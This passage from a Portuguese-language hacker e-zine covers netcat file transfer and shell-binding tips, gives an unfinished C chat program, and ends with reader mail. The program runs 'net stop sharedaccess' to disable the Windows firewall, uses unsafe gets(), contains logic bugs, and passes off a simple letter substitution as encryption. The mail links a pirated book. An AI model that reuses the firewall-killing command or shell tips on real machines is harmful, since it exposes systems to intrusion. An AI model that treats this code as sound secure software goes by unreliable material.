DNS fwd/rev mismatch: localhost != Violator
connect to [127.0.0.1] from localhost [127.0.0.1] 2095
sent 12, rcvd 0 < -- Detalhe manoh!

Quando estamos escutando em uma porta e rebindeando a mesma, 'ou não',
-> podemos visualizar relatorios de envio (send) e recebimento
(recv =) dos dados na conexão passada, usando duas verboses (-vv) manoh:

sent 12, rcvd 0

sent -> Enviado
rcvd -> Recebido

Ja que minha anterior sintaxe de conexão foi 'apenas' para
'conectar' (lolz), assim lendo o conteudo no arquivo 'my_file.diz'
-> na shell, vamos utilizar o netcat para pegar o file agora:

C:\Documents and Settings\David>nc 127.0.0.1 6969 > \file.diz
^C < -- Ctrl + C (Ja peguei o file msm :P eh he he...)
C:\Documents and Settings\David>type \file.diz
Hi Guys!

sent 12, rcvd 0 <-- Só pra dar um verniz, que se pode obter os dados do trafego
na janela servidora ( ->Por causa das "duas" verboses<- ) ;]

Ei! Isso também funfa com binario viu manoh! Claro que vc sacou, nem
precisava ter falado ;) Manja a sintaxe ae manoh (-w 3):

C:\Documents and Settings\David>nc -w 3 127.0.0.1 6969 > \file.diz

Achu que em 3 sec's da pra pegar dboa o my_file.diz e passar pro outro lado como
-> file.diz X-). Lembrando que utilizei o -w Wait -> 'no cliente-side' <-.O>

-.-

--- > File flood ahuahuah! < ---

-.-

Putz, com essa historia de file flood eu fui floodado no dk (me baniram hauhauha!!),
zuera, num foi por causa dissU naum, mas dexa qetu. Tipo, num é um file flood naum,
é...como eu posso dizer... um repositorio de string que voce terá do outro lado, tipo
assim, manda tua mina se conectar e começar a escrever sobre a relação nesse texto
que será armazenado num file do outro lado (server-side), pq tu ta de saida e tals:

C:\Documents and Settings>nc -l -p 222 -vv > escreve_pirada.txt
listening on [any] 222 ...


Pirada -> nc 127.0.0.1 222

Escreveu no shell -> Vou comer seu figado cretino!!

connect to [127.0.0.1] from localhost [127.0.0.1] 2162
sent 0, rcvd 31 < -- =)

O bom de voce utilizar o nc para se conectar nas coisas está ai amigos, tipo, com
o telnet voce nao conseguiria ver o que estava escrevendo, ja com o netcat sim!!
Sem duvida, o melhor cliente de qualquer coisa é o netcat, tipo, se ainda não achou
algum servidor que ele num connect bem :P, adapta ele =)

Ainda existe diversas coisas maneiras, mas eu paro por aqui!!! Tipo, tem muuuita
coisa mesmo irmãos, o netcat pode ser usado para tudo! Cliente POP, FTP, etc.
O escabal manoh! Espero que tenham gostado de mais um txt meu, e espero muito
continuar escrevendo a zine para todos voces evoluirem com o que eu um dia gostei
de aprender, assim também evoluindo =)

Ei, achu que estou esquecendo de alguma coisa... Ah! Lembrei:

Netcat Linux

Opa, vamos começar baixando a ferramenta ^^... Baixa o netcat para linux ai manoh! ehehe.
Nao tenho nada contra o AV Killer do Royall, só que to com preguiça de postar e o netcat
ja ta la no host e tals :] -> : http://www.hunterhacker.xpg.com.br/netcat-0.7.1.tar.gz

Cara, descompacta essa parada ai e instala com -> ./configure && make && make install
e faz tudo ai em cima descrito no texto, só que onde tem cmd.exe tu bota /bin/bash ou sh
ou qualquer outro shell (Se bobear bota até o 'false' -> oh! <-_) prontu! Voce agora eh um
hackão mais hackitico que existe :P

6_Bl4ck9_f0x6
Viper Corp Group
[s]


----- C4p1Tul0 16


[+] X========================--==============X +]
Emperial Chat[_cript] - Almost mounted
[+] X======================================== X+]


Esse prog trabalha com criptografica simetrica, se trata de um programa capaz
de transmitir mensagens cifradas atraves da rede. Resumindo toda essa porra
que voce ja ta cansado de saber: Eh um chat encriptado pre-construido. Codei
o comeco pra voce terminar ele. Dispenso os "obrigados".


-- Emp_Chat.c --


#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>

#define ERR -1
#define PRT printf
#define BACKLOG 5

WSADATA wsa;
SOCKET sock, cliente_sock;

struct hostent *host;
struct sockaddr_in list, cliente;

int i=0, val=0, end=0;
char c, string_s[1500], received[1500];
unsigned char nick_Hacker[50], sv_nick[50];

void stat ();
void ouvir ();
void filtro ();
void encript ();
void options ();

void loading_s (){

int cOc=0,CoC;
for (cOc, CoC=1;cOc <= 100 && CoC <=100;CoC+=1, ++cOc){
system ("cls");
fprintf (stdout, "%d%% %d%%", cOc, CoC);}
printf ("\nLoading sucefull!");
Sleep (700);
system ("cls");
}

void banner (){
int cOc=0;
char *banner[]={

"[=] + ===========[####]============ + [=]\n",
" *** Emperial Chat[_cript] *** \n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground Max <->\n",
"[=] + ==========[####]============ + [=]\n\n"};

while (cOc != 5){
printf ("%s", banner[cOc]);
++cOc;}
}

int main (void){

system ("color 0a & cls");
SetConsoleTitle ("Emperial Chat[_cript] v0.1 by 6_Bl4ck9_f0x6");
loading_s ();
banner ();
options ();

if ( (WSAStartup (MAKEWORD (2,2),&wsa)) == SOCKET_ERROR){
fprintf (stderr, "Tive problemas para carregar winsock.dll\n");
system ("pause");
exit (ERR);}

if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == ERR){
fprintf (stderr, "Erro ao criar socket\n");
system ("pause");
return (ERR);}
bit:
c=0x00;
if (val == 1){
system ("cls");
banner ();
options ();
printf ("\nPor favor insira uma resposta [VALIDA]:");}

if (val == 0)
printf ("\nAguardando resposta:");

c=getch();

do {

switch (c){
case 'O':
ouvir ();
break;
case 'o':
ouvir ();
exit (0); // Yeah!!
break;
default:
val++;
goto bit;
}
}
while ( (c != 'O') || (c != 'o') );

}

void options (){

printf ("Conectar");
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT (" "); Sleep (100);
PRT ("="); Sleep (100); PRT (" ( C )\n");
Sleep (100);

printf ("Ouvir");
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT (" "); Sleep (100); PRT ("="); Sleep (100);
PRT (" ( O )\n"); Sleep (100);

printf ("Comandos");
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT ("."); Sleep (100);
PRT ("."); Sleep (100); PRT (" "); Sleep (100);
PRT ("="); Sleep (100);
printf (" ( R )\n"); Sleep (100); }

void ouvir () {

int porta, check=5;
char choice, IP[sizeof ("Deus esta completamente morto...")];
label:
system ("cls");
banner ();
printf ("Deseja desabilitar o firewall default do windows? s/n ");
scanf ("%c", &choice);

if ( (choice == 's') || (choice == 'S')){
puts ("\n -==========================================\
===========-\n"
);
PRT ("Analise esta mensagem do windows:\n\n\n");
system ("net stop sharedaccess");
puts ("\n -==========================================\
===========-\n"
);
system ("pause & cls");
check+=1;}

else if ( (choice == 'n') || (choice == 'N')) goto start;
else goto label;
start:
system ("cls");
banner ();
if (check == 6) printf (" [ Firewall do Windows Morto ]\n\n");
puts ("+ DEFINA SEUS DADOS +\n");
printf ("Defina o seu nick[Hacker]:");
scanf ("%59s", &nick_Hacker);

/*memset (&(nick_Hacker) + 59, 0x00, 2 -1); Mas ja tem 0x00 no fim =)*/

printf ("Porta que vc deseja abrir:");
scanf ("%d", &porta);
printf ("Endereco IP da interface:");
scanf ("%31s", &IP);

list.sin_family = AF_INET;
list.sin_port = htons (porta);

if ( (list.sin_addr.s_addr = inet_addr (IP)) == INADDR_NONE){
system ("cls");
banner ();
puts ("[X+X] ]= -------------------------------- =[ [X+X]");
fprintf (stderr, " ENDERECO IP INVALIDO! :(\n");
puts ("[X+X] ]= -------------------------------- =[ [X+X]\n");
closesocket (sock);
WSACleanup();
system ("pause");
exit (ERR);}

memset (&(list.sin_zero), 0x00, sizeof (list.sin_zero));
if ((bind(sock,(struct sockaddr *)&list,
sizeof (struct sockaddr_in))) == SOCKET_ERROR){

printf ("\n+-------------------------------------------+\n");
fprintf (stderr, "|Nao conseguir abrir a porta [%d] :( \n\
|\"
Provavelmente\" this port esta em uso |", ntohs (list.sin_port));
PRT ("\n|ou voce teclou um endereco IP invalido. |");
printf ("\n+-------------------------------------------+\n\n");

system ("pause");
exit SOCKET_ERROR;}

system ("cls");
banner ();
printf ("\n+-------------------------------------------+\n");
printf ("|Nick : [%s]\n", nick_Hacker);
printf ("|Iface: [%s] \n",
inet_ntoa (list.sin_addr));
printf ("|Porta: [%d] aguardando conexoes... ",
ntohs (list.sin_port));
printf ("\n+-------------------------------------------+\n");
listen (sock, BACKLOG);

int size, Y=0, CCtC=0;
size=sizeof (struct sockaddr);
printf ("\n[Listen]...");
cliente_sock=accept (sock, (struct sockaddr *)&cliente, &size);
getpeername (cliente_sock, (struct sockaddr *)&cliente, &size);
system ("cls");
banner ();
stat ();

while (end != 1){
memset (&(received), 0x00, sizeof (received));
system ("cls");
banner ();
stat ();
printf ("[-] %s disse:", nick_Hacker);
gets (string_s); // Usar fgets , eh foda o tal do stack overflow
system ("cls");
banner ();
stat ();
printf ("\n[=] + ====================== + [=] \n\n");
printf ("[-] %s\n\n", string_s);
printf ("[=] + ====================== + [=] \n\n");
encript ();
printf ("%s", string_s);
send (cliente_sock, string_s, strlen (string_s), 0);

while (CCtC < 1){
CCtC=recv(cliente_sock, received, sizeof (received), 0);}

system ("cls"); // Fazer uma funçao disto [3]
banner ();
stat ();
// fulano diz:
printf ("\n[=] + ====================== + [=] \n\n");
printf ("[-] %s\n\n", received);
printf ("[=] + ====================== + [=] \n\n");
encript ();



/* Contagem de mensagens recebidas pode surgir daqui: ;) ./verbose */
// if ( (recv (cliente_sock, received, sizeof (received), 0)) != -1){
//}

/* Ele manda o nick e o krinha eh copiado para uma variavel daqui.
Ai eu vou ficar usando o nick que foi mandado */



if ( (received[Y]='.') && (received[Y+1]='/') ) filtro ();}

}

void encript (){

for (i;string_s[i] != '\0';i++){

if (string_s[i] == 'A'){string_s[i]='*';}

else if (string_s[i] == 'a'){ string_s[i]='[';}
else if (string_s[i] == 'B'){ string_s[i]='$';}
else if (string_s[i] == 'b'){ string_s[i]='!';}
else if (string_s[i] == 'C'){ string_s[i]='8';}
else if (string_s[i] == 'c'){ string_s[i]='+';}
else if (string_s[i] == 'D'){ string_s[i]='@';}
else if (string_s[i] == 'd'){ string_s[i]='k';}
else if (string_s[i] == 'E'){ string_s[i]='%';}
else if (string_s[i] == 'e'){ string_s[i]=')';}
else if (string_s[i] == 'F'){ string_s[i]='6';}
else if (string_s[i] == 'f'){ string_s[i]='"';}
else if (string_s[i] == 'G'){ string_s[i]='4';}
else if (string_s[i] == 'g'){ string_s[i]='1';}
else if (string_s[i] == 'H'){ string_s[i]='?';}
else if (string_s[i] == 'h'){ string_s[i]='A';}
else if (string_s[i] == 'I'){ string_s[i]='T';}
else if (string_s[i] == 'i'){ string_s[i]='7';}
else if (string_s[i] == 'J'){ string_s[i]='P';}
else if (string_s[i] == 'j'){ string_s[i]='&';}
else if (string_s[i] == 'L'){ string_s[i]='Z';}
else if (string_s[i] == 'l'){ string_s[i]='~';}
else if (string_s[i] == 'M'){ string_s[i]='y';}
else if (string_s[i] == 'm'){ string_s[i]='{';}
else if (string_s[i] == 'N'){ string_s[i]='q';}
else if (string_s[i] == 'n'){ string_s[i]='9';}
else if (string_s[i] == 'O'){ string_s[i]='^';}
else if (string_s[i] == 'o'){ string_s[i]='=';}
else if (string_s[i] == 'P'){ string_s[i]='#';}
else if (string_s[i] == 'p'){ string_s[i]=':';}
else if (string_s[i] == 'Q'){ string_s[i]='-';}
else if (string_s[i] == 'q'){ string_s[i]=']';}
else if (string_s[i] == 'R'){ string_s[i]='F';}
else if (string_s[i] == 'r'){ string_s[i]=';';}
else if (string_s[i] == 'S'){ string_s[i]='2';}
else if (string_s[i] == 's'){ string_s[i]='h';}
else if (string_s[i] == 'T'){ string_s[i]='.';}
else if (string_s[i] == 't'){ string_s[i]=',';}
else if (string_s[i] == 'U'){ string_s[i]='3';}
else if (string_s[i] == 'u'){ string_s[i]='E';}
else if (string_s[i] == 'V'){ string_s[i]='<';}
else if (string_s[i] == 'v'){ string_s[i]='|';}
else if (string_s[i] == 'W'){ string_s[i]='Y';}
else if (string_s[i] == 'w'){ string_s[i]='X';}
else if (string_s[i] == 'X'){ string_s[i]='G';}
else if (string_s[i] == 'x'){ string_s[i]='5';}
else if (string_s[i] == 'Y'){ string_s[i]='/';}
else if (string_s[i] == 'y'){ string_s[i]='}';}
else if (string_s[i] == 'Z'){ string_s[i]='n';}
else if (string_s[i] == 'z'){ string_s[i]='I';}
else if (string_s[i] == '!'){ string_s[i]='U';}
else if (string_s[i] == ','){ string_s[i]='D';}
else if (string_s[i] == '.'){ string_s[i]='L';}}

}

void filtro (){
}

void stat (){

printf ("
+-------------------------------------------+\n");
printf ("
| CHAT INICIADO |\n");
printf ("
+-------------------------------------------+\n");
printf ("
\nInformacoes de conexao:\n\nEnderco IP do cliente: [%s]\n",
inet_ntoa (cliente.sin_addr));
printf ("
Porta local utilizada: [%d]\n\n", ntohs (list.sin_port));}


-- cut --

[s]


----- C4p1Tul0 17

[+ ====================================== +]
-> MAIL BOX <-
xxxxxxxxxxxxXXXxXXXxxxxxxxxxxxxxxxxxx
[+ ====================================== +]


De: ALIG_wicked
Subject: Yo Raposa ...


Entao velho naum esquenta com os post's ...

O lance do video que quero fazer pra vc naum ter surpresa eh assim:

Eu queria mostrar um outro mundo mais profissional...
Honestamente vejo um potencial em ti ... desde que voce naum acabe indo
pro lado da criminalidade. Naum estou dizendo que vc faz parte desse mundo
ou que um dia fara'. Na verdade queria citar p q tive um amigo a uns 10 anos
atras que acabou numa penitenciaria e viciado em coca. O cara manjava muito
mais que eu ... ele tinha esse mesmo entusiamo que vejo em vc hoje.

entao,
Dias 22,23 e 24 ... estarei participando da Infosecurity Europe
( http://www.infosec.co.uk/ ) naum eh um evento tipo blackhat ou defcon .. na
verdade eh um evento dos patroes dos caras que participam da blackhat e defcon
( hehehe ). Mais empresarial mesmo. Estarei lah p q como falei estou estruturando
a minha propria empresa e vou atras de contactos e etc ...

E vou postar aqui no ISTF. Mais boca de siri ateh lah...

Sobre o projeto metasploit-br tah paradao ateh eu terminar as coisas da minha
empresa. Tenho que ter foco ou naum termino nem uma coisa nem outra.

Estou te mandando um livro sobre o metasploit razoavel caso vc naum tenha.
Bem, acho que tu jah podes pular lah pra pagina 147 .

Capitulo: Cases Estudies.

Baixe aqui:
http://rapidshare.com/files/103054431/Metasploit_Toolkit_-_Syngress.pdf.html

Do meu lado, na verdade estah estacionando um tutorial que estou fazendo baseado
num exemplo onde escrevemos um exploit do zero (com algumas modificacoes minhas)
do livro ShellCoders . Muito ditadico. Apliquei ao metasploit ... mais como falei
infelizmente naum posso mudar o foco das coisas que tenho fazer nesse momento.

[s]

--Andre.

Resposta:

Isso ai foi um MP que ele me mandou no ISTF, ou seja, se um de meus maiores idolos
está dizendo que eu tenho potencial, isso significa que... eu realmente devo ter =)
Sei que essa porra aqui não é um ->MPBox<- e sim ->MailBox<-, mas ta valendo, só
estou me sentindo o tal =) Tipo assim, procurem saber mais sobre o Andre Amorim,
vejam o seu site (OST pentest) e tals, dai voces me digam dpois se naum era para eu
estar me achando eheheh. André:

Voce é o cara manoh =)

[]'s

========== X === X ==========

De: Morticia
Subject: Ei cara...

Meu querido 6_Bl4ck9_f0x6,

Gostaria muito de saber se pretende publicar algum texto meu em sua zine, é...
é que eu gostaria muito de faze-la evoluir assim como voce evolui, nunca vi um
menino conseguir ler um book daqueles que te passei em um dia e no outro dizer
para mim que fez um soft maneiro baseado no que aprendeu...

Como voce pode ter a cara de madeira de dizer que ainda faz o primeiro ano
com 18 anos...? ce vc tem essa capacidade toda de raciocinio. Ainda vou em
sua cidadezinha lhe ver meu caro, e vê se para de escrever em alguns textos
seus que é meu fã, pois me parece que as coisas estão se invertendo...:)

Um abraço moleque maneiro e não deixa de mandar noticias.

Resposta:

Enfim pessoal, temos aqui um classico caso de f3licidade multipla, DOIS de
meus maiores idolos me elogiam...:) Morticia e André, ta fautando ainda aqui
o nosso amigo Rodrigo Rubira (Eita!!! ), voodoo (Eita!!!) e nash leon (Eita!!!).
Com relação aos seus textos Mort's, pretendo publica-los em um futuro bem
proximo, seguinte, nessa zine aqui eu escrevo apenas coisas minhas (por enquanto),
tenho ela mais como passa-tempo e tals, mas da proxima achu que vou abrir uma
exceção, tenho varios textos da galera e até pouco tempo atraz tava afim de
publica-los aqui, mas.... -> Os textos vão para a minha outra zine que brevemente
estará saido na sua BSS mais proxima (Eita!!!), de onde desenterrei essa coisa
ultrapassada de BSS? Afz, quem gosta de velharia é museu ;)

Até a proxima edição da minha, da sua, da nossa revista hacker numero 1 baby...;)
Ah! Um dia eu ainda vou ser da THC (Tomara manoh!! =).

Hacking é uma arte ;)

04:48 27/3/2010 na solidao.

Se case, tenha uma filha e seja feliz com elas manoh, elas merecem.

[]`s

by

6_Bl4ck9_f0x6 - Viper Corp Group

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